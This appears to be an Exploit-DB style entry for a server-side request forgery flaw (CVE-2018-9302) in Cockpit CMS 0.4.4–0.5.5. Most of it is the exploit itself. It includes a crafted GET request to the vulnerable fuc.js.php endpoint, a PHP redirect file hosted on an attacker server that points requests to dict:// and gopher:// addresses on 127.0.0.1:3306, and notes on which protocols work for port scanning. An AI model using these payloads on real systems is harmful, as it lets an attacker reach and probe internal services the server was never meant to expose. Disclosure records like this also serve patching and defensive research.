header-logo
Suggest Exploit
vendor:
Cockpit CMS
by:
None
9.1
CVSS
CRITICAL
SSRF(Server Side Request Forgery)
918
CWE
Product Name: Cockpit CMS
Affected Version From: Cockpit CMS 0.4.4
Affected Version To: Cockpit CMS 0.5.5
Patch Exists: Yes
Related CWE: CVE-2018-9302
CPE: None
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Linux
2018

SSRF(Server Side Request Forgery) in Cockpit 0.4.4-0.5.5 (CVE-2018-9302)

You can edit a .php file on own server. The .php file's code example: <?php Header("Location: dict://127.0.0.1:3306/_0d%");?>. Request: GET /assets/lib/fuc.js.php?url=http://myserver/redirect.php HTTP/1.1 Host: myserver Connection: close Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8 referer:http://myserver/index.php Modify the redirect.php file on the attacker's server.example: <?php Header("Location: gopher://127.0.0.1:3306/_0d%");?> If the curl function is available,then use gopher、tftp、http、https、dict、ldap、imap、pop3、smtp、telnet protocols method,if not then only use http、https、ftp protocol scan prot,example: <?php Header("Location: dict://127.0.0.1:3306/");?> If the curl function is unavailable,this vulnerability trigger need allow_url_fopen option is enable in php.ini,allow_url_fopen option defualt is enable.

Mitigation:

Upgrade to the latest version of Cockpit CMS.
Source

Exploit-DB raw data: